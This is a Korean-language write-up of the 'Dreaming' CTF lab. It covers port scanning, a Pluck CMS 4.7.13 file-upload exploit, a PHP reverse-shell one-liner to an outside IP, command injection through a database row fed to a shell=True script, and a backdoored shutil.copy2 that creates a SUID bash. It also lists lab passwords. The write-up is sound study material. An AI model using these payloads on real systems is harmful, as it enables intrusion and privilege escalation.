Dreaming CTF 챌린지 Writeup

Dreaming CTF 챌린지 Writeup

Review 레벨이 Easy로 분류되어 있어서 그런지 공부했던 지식 범위 안에서 사고하면서 풀 수 있었던 문제였습니다. 서버의 Shell을 얻는 과정이 그렇게 어렵지는 않았지만, 적정한 도구와 Password Dictionary를 고르는 것은 아직 감이 잡히지 않습니다.

서버 Shell을 얻고 나서 각 사용자마다의 flag를 얻는 과정이 기초적인 접근 권한을 잘 살펴보는 것으로 풀린다는 것이 인상 깊었습니다.

Enumeration을 한 뒤 해당 Enumeration의 어느 부분을 살펴볼지에 대한 것도 아직 어렵지만, 차근차근 보다 보면 특이한 점을 캐치해낼 수 있는 것을 목표로 삼아 lucien, death, morpheus를 어떤 식으로 공략해야 할지 힌트를 찾아내는 것도 흥미로웠습니다. 중간에 생각나지 않은 테크닉들은 생각조차 떠올릴 수 없어서 다른 WriteUp을 참고했지만, 이런 식의 공략 방법이 있었지를 상기해보는 것이 큰 도움이 되었습니다.

Challenge Overview (TL;DR)

이 Challenge에서 답으로 제출해야 하는 플래그는 총 3개입니다. 서버 접근 권한을 탈취하기 위해 취약한 CMS를 찾고 해당 CMS의 공개된 Exploit을 수행합니다. 서버 접근 권한을 탈취하고 나면 linpeas를 통해 서버 내의 취약 파일을 점검합니다. 해당 점검을 통해 나온 파일들의 소유 권한을 통해 차례차례 공략해나가는 방식입니다.

  • lucien: Enumeration을 통해 /opt/test.py에서 lucien의 소유 및 그룹 권한을 가진 파일을 발견합니다. 이 파일은 other에게도 읽기 및 실행 권한이 있으며, 파일을 열어보면 lucien의 플래그가 보입니다. (실제로는 비밀번호가 발견됩니다.)
  • death: death의 홈 디렉터리에 getDreams.py가 존재하며, /opt/getDreams.py도 있습니다. /opt/getDreams.py는 DB에 저장된 데이터를 출력하는 파이썬 코드로, 읽어들인 데이터를 셸에서 실행할 수 있는 취약성이 존재합니다. lucien의 홈 디렉터리에서 DB 접속 기록을 확인하고, 이를 활용해 DB에 접속한 뒤 getDreams.py가 셸 명령어를 읽고 실행하도록 데이터를 INSERT하여 플래그(비밀번호)를 얻어낼 수 있습니다.
  • morpheus: Enumeration 단계에서 morpheus의 권한으로 1분마다 실행되는 cron을 발견합니다. 이 cron은 morpheus의 홈 디렉터리에 존재하는 restore.py를 실행합니다. restore.py는 shutil 패키지의 copy2 함수를 사용하는데, shutil은 접근 권한이 없어 수정이 가능합니다. copy2() 함수를 수정하여 chmod 777을 걸면 morpheus의 플래그를 확인할 수 있는 권한을 얻습니다.

Initial Reconnaissance

Nmap Scan

Nmap 포트 스캔을 시도하여 대상 서버에 어떤 포트가 열려 있는지 확인합니다.

Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-12-02 16:22 KST
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 5.10% done; ETC: 16:23 (0:01:14 remaining)
Nmap scan report for 10.49.164.31
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntun 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 06:e1:4a:43:f5:0a:e6:f8:8d:a9:07:d5:db:d6:06:cd (RSA)
|   256 d7:d2:66:72:74:16:6a:1c:2c:0d:be:06:b9:d5:49:c6 (ECDSA)
|_  256 1e:d2:2d:d0:e7:e5:05:2a:2f:9e:63:09:fc:6d:e6:ff (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 48.33 seconds

Gobuster Directory Bruteforcing

제공된 IP 주소로 접속하면 Apache2 Ubuntu Default Page가 나타납니다. 대상 서버에 접근 가능한 다른 경로는 없는지 Gobuster를 사용하여 확인합니다.

╭─jako@prompt-pro ~/private/tryhackme/dreaming
╰─$ gobuster dir -w /Users/jako/private/cyber-skill-utils/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u <http://10.49.164.31/>
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://10.49.164.31/>
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /Users/jako/private/cyber-skill-utils/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/app                  (Status: 301) [Size: 310] [--> <http://10.49.164.31/app/>]
/server-status        (Status: 403) [Size: 277]

/app 경로로 접근하면 http://10.48.147.52/app/pluck-4.7.13/?file=dreaming으로 이동되며, 페이지에 admin이라는 글자를 통해 Admin 페이지에 접근할 수 있습니다.

Admin Page Authentication

admin 페이지에서는 비밀번호를 요구합니다. 무차별 대입 공격을 시도할 수도 있지만, 알려진 일반적인 비밀번호를 입력해보니 로그인이 가능했습니다. admin page의 비밀번호는 password입니다.

Gaining Initial Shell

여기까지의 과정에서 대상 서버는 pluck-4.7.13이라는 CMS를 사용하는 것을 알 수 있습니다. 해당 정보로 searchsploit에 검색해봅니다.

╰─$ searchsploit -t pluck
(중략)
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)                                          | php/webapps/49909.py

Exploit이 가능한 정보가 확인됩니다.

╰─$ searchsploit -p 49909
  Exploit: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
      URL: <https://www.exploit-db.com/exploits/49909>
     Path: /opt/homebrew/opt/exploitdb/share/exploitdb/exploits/php/webapps/49909.py
    Codes: CVE-2020-29607
Verified: True
File Type: ASCII text, with very long lines (18080)
Copied EDB-ID #49909's path to the clipboard

해당 Exploit 코드는 실행 인자로 다음 4가지 정보를 요구합니다.

target_ip = sys.argv[1] # 대상 서버 IP target_port = sys.argv[2] # 대상 서버 PORT password = sys.argv[3] # Admin Password pluckcmspath = sys.argv[4] # 경로

추가적으로 해당 Exploit Code의 내용을 읽어보니 특정 파일을 업로드하는 형태이기에 하단에 reverse shell로 사용할 file을 따로 지정했습니다.

data=”./reverse.phar”

이제 다음과 같이 실행합니다.

╰─$ python /opt/homebrew/opt/exploitdb/share/exploitdb/exploits/php/webapps/49909.py 10.48.147.52 80 password /app/pluck-4.7.13
Authentification was succesfull, uploading webshell
Uploaded Webshell to: <http://10.48.147.52:80/app/pluck-4.7.13/files/shell.phar>

이제 업로드 된 URL에 접근해 reverse shell로 통신을 엽니다.

php -r '$sock=fsockopen("192.168.137.48",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

여기까지 진행하여 대상 서버의 shell까지 접근할 수 있습니다.

Local Enumeration

linpeas.sh를 이용해서 대상 서버에 특이한 점은 없는지 살펴봅니다. linpeas.sh를 이용하면 여러 결과가 나오는데 특이한 점은 “/opt” 경로에 다음과 같은 파일이 있음을 확인할 수 있습니다.

╔══════════╣ Unexpected in /opt (usually empty)
total 16
drwxr-xr-x   2 root     root      4096 Aug 15  2023 .
drwxr-xr-x  20 root     root      4096 Dec  2 07:21 ..
-rwxrwx-r--  1 death    death     1574 Aug 15  2023 getDreams.py
-rwxr-xr-x   1 lucien   lucien     483 Aug  7  2023 test.py

Privilege Escalation

lucien

/opt/test.py를 열어보니 lucien의 비밀번호가 보입니다.

$ cat /opt/test.py
import requests

#Todo add myself as a user
url = "<http://127.0.0.1/app/pluck-4.7.13/login.php>"
password = "HeyLucien#@1999!"

data = {
         "cont1":password,
         "bogus":"",
         "submit":"Log+in"
         }

req = requests.post(url,data=data)

if "Password correct." in req.text:
         print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
         print("Something is wrong. Status Code: " + str(req.status_code))
         print("Results:\n" + req.text)
$

lucien으로 ssh 로그인 이후 home 디렉터리를 보면 다음과 같은 내용이 보입니다.

lucien@ip-10-48-147-52:~ $ ls -al
total 44
drwxr-xr-x  5 lucien lucien 4096 Aug 25  2023 .
drwxr-xr-x  6 root   root   4096 May 18  2025 ..
-rw-------  1 lucien lucien  684 Aug 25  2023 .bash_history
-rw-r--r--  1 lucien lucien  220 Feb 25  2020 .bash_logout
-rw-r--r--  1 lucien lucien 3771 Feb 25  2020 .bashrc
drwx------  3 lucien lucien 4096 Jul 28  2023 .cache
drwxrwxr-x  4 lucien lucien 4096 Jul 28  2023 .local
-rw-rw----  1 lucien lucien   19 Jul 28  2023 lucien_flag.txt
-rw-------  1 lucien lucien  696 Aug 25  2023 .mysql_history
-rw-r--r--  1 lucien lucien  807 Feb 25  2020 .profile
drwx------  2 lucien lucien 4096 Jul 28  2023 .ssh
-rw-r--r--  1 lucien lucien    0 Jul 28  2023 .sudo_as_admin_successful

.bash_history를 보니 shutil.py에 대해 편집한 기록과 DB 접속 로그가 들어 있습니다.

cd python3.8
nano shutil.py
...
mysql -u lucien -plucien42DBPASSWORD

이것은 다음 단계의 단서가 됩니다.

death

이제 death의 home 디렉터리와 `sudo -l`로 lucien의 관리자 명령어를 실행시킬 수 있는 파일을 찾아봅니다.

lucien@ip-10-48-147-52:/home/death$ ls -al
total 56
drwxr-xr-x  4 death death 4096 Aug 25  2023 .
drwxr-xr-x  6 root  root  4096 May 18  2025 ..
-rw-------  1 death death  427 Aug 25  2023 .bash_history
-rw-r--r--  1 death death  220 Feb 25  2020 .bash_logout
-rw-r--r--  1 death death 3771 Feb 25  2020 .bashrc
drwx------  3 death death 4096 Jul 28  2023 .cache
-rw-rw----  1 death death   21 Jul 28  2023 death_flag.txt
-rwxrwxr-x  1 death death 1539 Aug 25  2023 getDreams.py
drwxrwxr-x  4 death death 4096 Jul 28  2023 .local
-rw-------  1 death death  465 Aug 25  2023 .mysql_history
-rw-r--r--  1 death death  807 Feb 25  2020 .profile
-rw-------  1 death death 8157 Aug  7  2023 .viminfo
-rw-rw-r--  1 death death  165 Jul 29  2023 .wget-hsts

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ <https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid>
Matching Defaults entries for lucien on ip-10-49-164-31:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lucien may run the following commands on ip-10-49-164-31:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

특이한 점은 getDream.py가 death의 home 디렉터리에 있으며, /opt에도 들어있다는 점입니다. death의 home directory에 들어있는 getDreams.py는 다른 사용자도 실행할 수 있는 권한이 부여되어 있습니다.

lucien@ip-10-48-147-52:/home/death$ ls -al

-rwxrwxr-x  1 death death 1539 Aug 25  2023 getDreams.py

lucien@ip-10-48-147-52:/home/death$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician

lucien이 death의 권한으로 getDreams.py를 실행할 수 있습니다. 또한 “/opt/getDreams.py”에 들어있는 코드를 살펴봅니다.

lucien@ip-10-48-147-52:/home/death$ cat /opt/getDreams.py
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
         try:
                 # Connect to the MySQL database
                 connection = mysql.connector.connect(
                         host="localhost",
                         user=DB_USER,
                         password=DB_PASS,
                         database=DB_NAME
                 )

                 # Create a cursor object to execute SQL queries
                 cursor = connection.cursor()

                 # Construct the MySQL query to fetch dreamer and dream columns from dreams table
                 query = "SELECT dreamer, dream FROM dreams;"

                 # Execute the query
                 cursor.execute(query)

                 # Fetch all the dreamer and dream information
                 dreams_info = cursor.fetchall()

                 if not dreams_info:
                         print("No dreams found in the database.")
                 else:
                         # Loop through the results and echo the information using subprocess
                         for dream_info in dreams_info:
                                 dreamer, dream = dream_info
                                 command = f"echo {dreamer} + {dream}"
                                 shell = subprocess.check_output(command, text=True, shell=True)
                                 print(shell)

         except mysql.connector.Error as error:
                 # Handle any errors that might occur during the database connection or query execution
                 print(f"Error: {error}")

         finally:
                 # Close the cursor and connection
                 cursor.close()
                 connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

DB에서 내용을 읽어 그대로 실행합니다. 취약한 부분은 shell = subprocess.check_output(command, text=True, shell=True) 이 부분입니다. 이제 정리해보면:

  • /home/death/getDreams.py는 death의 권한으로 실행할 수 있습니다.
  • /opt/getDreams.py를 보니 DB에 있는 내용을 읽어 shell을 통해서 실행합니다.
  • /home/death/getDreams.py는 DB에서 내용을 읽어서 실행하니 DB 테이블에 shell 명령어를 삽입해두면 death의 권한으로 명령어를 실행할 수 있습니다.

여기서 /opt/getDreams.py/home/death/getDreams.py와 무슨 상관이 있는가 하는 의문이 들 수 있지만, 파일 이름만 같고 내용이 다를 수 있습니다. 이 글에서는 /opt에 있는 코드가 /home/death에 있는 코드와 동일하다고 가정하고 진행합니다. 이제 DB 테이블에 데이터를 넣어봅니다.

이것은 앞선 lucien의 home 디렉터리에서 찾았던 DB 접속 명령어를 통해서 접근할 수 있습니다.

mysql -u lucien -plucien42DBPASSWORD

lucien@ip-10-48-147-52:~ $ mysql -u lucien -plucien42DBPASSWORD
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.02 sec)

mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_library     |
+-----------------------+
| dreams                |
+-----------------------+
1 row in set (0.00 sec)

mysql>
mysql> INSERT INTO dreams (dreamer, dream) VALUES ('cat /home/death/getDreams.py | bash', '-l');
Query OK, 1 row affected (0.01 sec)

mysql>
mysql>
mysql> COMMIT;
Query OK, 0 rows affected (0.00 sec)

이제 다시 getDreams.py를 실행하면 death의 비밀번호가 보입니다.

lucien@ip-10-48-147-52:~ $ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "!mementoMORI666!"
DB_NAME = "library"

def getDreams():
         try:
                 # Connect to the MySQL database
                 connection = mysql.connector.connect(
                         host="localhost",
                         user=DB_USER,
                         password=DB_PASS,
                         database=DB_NAME
                 )

                 # Create a cursor object to execute SQL queries
                 cursor = connection.cursor()

                 # Construct the MySQL query to fetch dreamer and dream columns from dreams table
                 query = "SELECT dreamer, dream FROM dreams;"

                 # Execute the query
                 cursor.execute(query)

                 # Fetch all the dreamer and dream information
                 dreams_info = cursor.fetchall()

                 if not dreams_info:
                         print("No dreams found in the database.")
                 else:
                         # Loop through the results and echo the information using subprocess
                         for dream_info in dreams_info:
                                 dreamer, dream = dream_info
                                 command = f"echo {dreamer} + {dream}"
                                 shell = subprocess.check_output(command, text=True, shell=True)
                                 print(shell)

         except mysql.connector.Error as error:
                 # Handle any errors that might occur during the database connection or query execution
                 print(f"Error: {error}")

         finally:
                 # Close the cursor and connection
                 cursor.close()
                 connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

morpheus

restore.py는 1분마다 실행됩니다. 이는 Enumeration 단계에서 확인할 수 있습니다.

lucien@ip-10-48-147-52:/home/morpheus$ ls -al
total 44
drwxr-xr-x  3 morpheus morpheus 4096 Aug  7  2023 .
drwxr-xr-x  6 root     root     4096 May 18  2025 ..
-rw-------  1 morpheus morpheus   58 Aug 14  2023 .bash_history
-rw-r--r--  1 morpheus morpheus  220 Feb 25  2020 .bash_logout
-rw-r--r--  1 morpheus morpheus 3771 Feb 25  2020 .bashrc
-rw-rw-r--  1 morpheus morpheus   22 Jul 28  2023 kingdom
drwxrwxr-x  3 morpheus morpheus 4096 Jul 28  2023 .local
-rw-rw----  1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
-rw-r--r--  1 morpheus morpheus  807 Feb 25  2020 .profile
-rw-rw-r--  1 morpheus morpheus  180 Aug  7  2023 restore.py
-rw-rw-r--  1 morpheus morpheus   66 Jul 28  2023 .selected_editor

lucien@ip-10-48-147-52:/home/morpheus$ find / -name "shutil.py" 2>/dev/null
/usr/lib/python3.8/shutil.py

lucien@ip-10-48-147-52:/home/morpheus$ ls -al /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Mar 18  2025 /usr/lib/python3.8/shutil.py

death@ip-10-48-147-52:/home/morpheus$ cat /usr/lib/python3.8/shutil.py | grep -n copy2
59:__all__ = ["copyfileobj", "copyfile", "copymode", "copystat", "copy", "copy2",
422:def copy2(src, dst, *, follow_symlinks=True):
460:    use_srcentry = copy_function is copy2 or copy_function is copy
488:                            # otherwise let the copy occur. copy2 will raise an error
516:def copytree(src, dst, symlinks=False, ignore=None, copy_function=copy2,
550:            destination path as arguments. By default, copy2() is used, but any
752:def move(src, dst, copy_function=copy2)

vim /usr/lib/python3.8/shutil.py 명령어로 copy2 함수 내에 명령을 삽입하여 SUID bash를 생성합니다.

def copy2(src, dst, *, follow_symlinks=True):
    os.system("cp /bin/bash /home/morpheus/bash && chmod +s /home/morpheus/bash")
    """Copy data and metadata. Return the file's destination.

Categories:

Updated:

Leave a comment